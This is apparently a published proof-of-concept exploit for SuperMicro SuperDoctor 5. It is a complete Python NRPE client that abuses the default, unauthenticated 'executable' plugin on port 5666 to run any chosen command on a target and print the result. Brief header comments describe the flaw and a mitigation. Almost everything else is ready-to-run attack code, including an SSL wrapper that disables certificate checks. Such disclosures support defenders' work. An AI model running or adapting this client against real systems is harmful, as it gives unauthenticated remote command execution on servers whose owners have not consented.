SuperDoctor5 NRPE Remote Code Execution

`# SuperMicro implemented a Remote Command Execution plugin in their implementation of   
# NRPE in SuperDocter 5, which is their monitoring utility for SuperMicro chassis'.  
# This is an intended feature but leaves the system open (by default) to unauthenticated  
# remote command execution by abusing the 'executable' plugin with an NRPE client.  
#   
# For your pleasure, here is a PoC Python NRPE Client that will connect, execute the   
# cmd of choice and return its output.  
#  
# To mitigate this vulnerbility, edit your agent.cfg to specificy which IPs are allowed   
# to execute NRPE commands agaist the system and/or block traffic on port 5666.  
#  
# NRPE cannot be disabled in this software, see Guide section 3.2  
  
  
#Author: Simon Gurney   
#Date: 23/05/2019  
#Vendor: SuperMicro  
#Product: SuperMicro Super Doctor 5  
#Version: 5  
#Guide: ftp://supermicro.com/ISO_Extracted/CDR-C9_V1.00_for_Intel_C9_platform/SuperDoctor_V/Linux/SuperDoctor5_UserGuide.pdf  
  
  
  
### Configurables  
  
command = "ping 1.1.1.1 -n 1"  
target = "1.2.3.4"  
target_port = 5666  
  
### Don't need to change anything below  
  
import binascii  
import struct  
import socket  
import ssl  
  
#### Struct Encoding Types  
StructCodeInt16 = "!h" ## Unsigned Int16  
StructCodeInt32 = "!L" ## Unsigned Int32  
  
#### NRPE Specific definitions  
NRPE_Version = ("","One", "Two", "Three")  
NRPE_Packet_Type = ("", "Query", "Response")  
NRPE_Response = ("Ok", "Warning", "Critical", "Unknown")  
NRPE_Version_1 = 1  
NRPE_Version_2 = 2  
NRPE_Version_3 = 3  
NRPE_Packet_Type_Query = 1  
NRPE_Packet_Type_Response = 2  
NRPE_Response_Ok = 0  
NRPE_Response_Warning = 1  
NRPE_Response_Critical = 2  
NRPE_Response_Unknown = 3  
NRPE_Response_Type_Query = 3  
  
#### RandomDefintions  
NullByte = b"\x00"  
TwoCharSuffix = "SG"  
  
class NRPEpacket:  
port = 5666  
server = "127.0.0.1"  
nrpeVersion = NRPE_Version_2  
nrpePacketType = NRPE_Packet_Type_Query  
nrpeResponseCode = NRPE_Response_Type_Query  
ownSocket = None  
def CalculateCRC(self):  
tempBuffer = struct.pack(StructCodeInt16,self.nrpeVersion)  
tempBuffer += struct.pack(StructCodeInt16,self.nrpePacketType)  
tempBuffer += NullByte * 4  
tempBuffer += struct.pack(StructCodeInt16,self.nrpeResponseCode)  
tempBuffer += self.content  
return (struct.pack(StructCodeInt32, binascii.crc32(tempBuffer) & 0xffffffff))  
def PadTo1024Bytes(self,command):  
if len(command) <= 1024:  
tempBuffer = command  
else:  
Error("Command string is too long!")  
while len(tempBuffer) < 1024:  
tempBuffer += "\x00"  
tempBuffer += TwoCharSuffix  
return tempBuffer.encode()  
def Connect(self):  
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
self.socket.connect((self.server,self.port))  
def WrapSSL(self):  
self.socket = ssl.wrap_socket(self.socket,cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23, ciphers="ALL")  
def Send(self):  
tempBuffer = struct.pack(StructCodeInt16,self.nrpeVersion)  
tempBuffer += struct.pack(StructCodeInt16,self.nrpePacketType)  
tempBuffer += self.crc  
tempBuffer += struct.pack(StructCodeInt16,self.nrpeResponseCode)  
tempBuffer += self.content  
self.socket.send(tempBuffer)  
def Recv(self):  
tempBuffer = self.socket.recv(2048)  
self.nrpeVersion = struct.unpack(StructCodeInt16,tempBuffer[0:2])[0]  
self.nrpePacketType = struct.unpack(StructCodeInt16,tempBuffer[2:4])[0]  
self.crc = tempBuffer[4:8]  
self.nrpeResponseCode = struct.unpack(StructCodeInt16,tempBuffer[8:10])[0]  
self.content = tempBuffer[10:]  
if self.crc != self.CalculateCRC():  
print ("CRC does not match!")  
def PrintOut(self):  
print(" -=-=-=-= Begin NRPE Content =-=-=-=-")  
print("| NRPE Version = %i - %s" % (self.nrpeVersion,NRPE_Version[self.nrpeVersion]))  
print("| NRPE Packet Type = %i - %s" % (self.nrpePacketType,NRPE_Packet_Type[self.nrpePacketType]))  
print("| NRPE Packet CRC = %i" % struct.unpack(StructCodeInt32,self.crc)[0])  
print("| NRPE Response Code = %i - %s" % (self.nrpeResponseCode,NRPE_Response[self.nrpeResponseCode]))  
print("| Packet Content:")  
print("| %s" % self.content.decode().strip(TwoCharSuffix).strip("\x00"))  
print(" -=-=-=-= End NRPE Content =-=-=-=-")  
def Close(self):  
if not self.ownSocket:  
self.socket.close()  
def AutoSend(self):  
print("Sending...")  
self.PrintOut()  
self.Send()  
print("Receiving...")  
self.Recv()  
self.PrintOut()  
self.Close()  
def __init__(self, command, socket=None, server=None, port = None, ssl=True):  
self.content = self.PadTo1024Bytes(command)  
self.crc = self.CalculateCRC()  
if server:  
self.server = server  
if port:  
self.port = port  
if not socket:  
self.Connect()  
else:  
self.socket = socket  
self.ownSocket = True  
if ssl == True:  
self.WrapSSL()  
  
  
#NRPE CMD format is "executable!<binary>!<arguments> i.e."  
#NRPEpacket("executable!ping!1.1.1.1 -n 1", server="1.2.3.4").AutoSend()  
  
split = command.split(" ",1)  
cmd = "executable!" + split[0] + "!" + split[1]  
NRPEpacket(cmd, server=target, port=target_port).AutoSend()  
`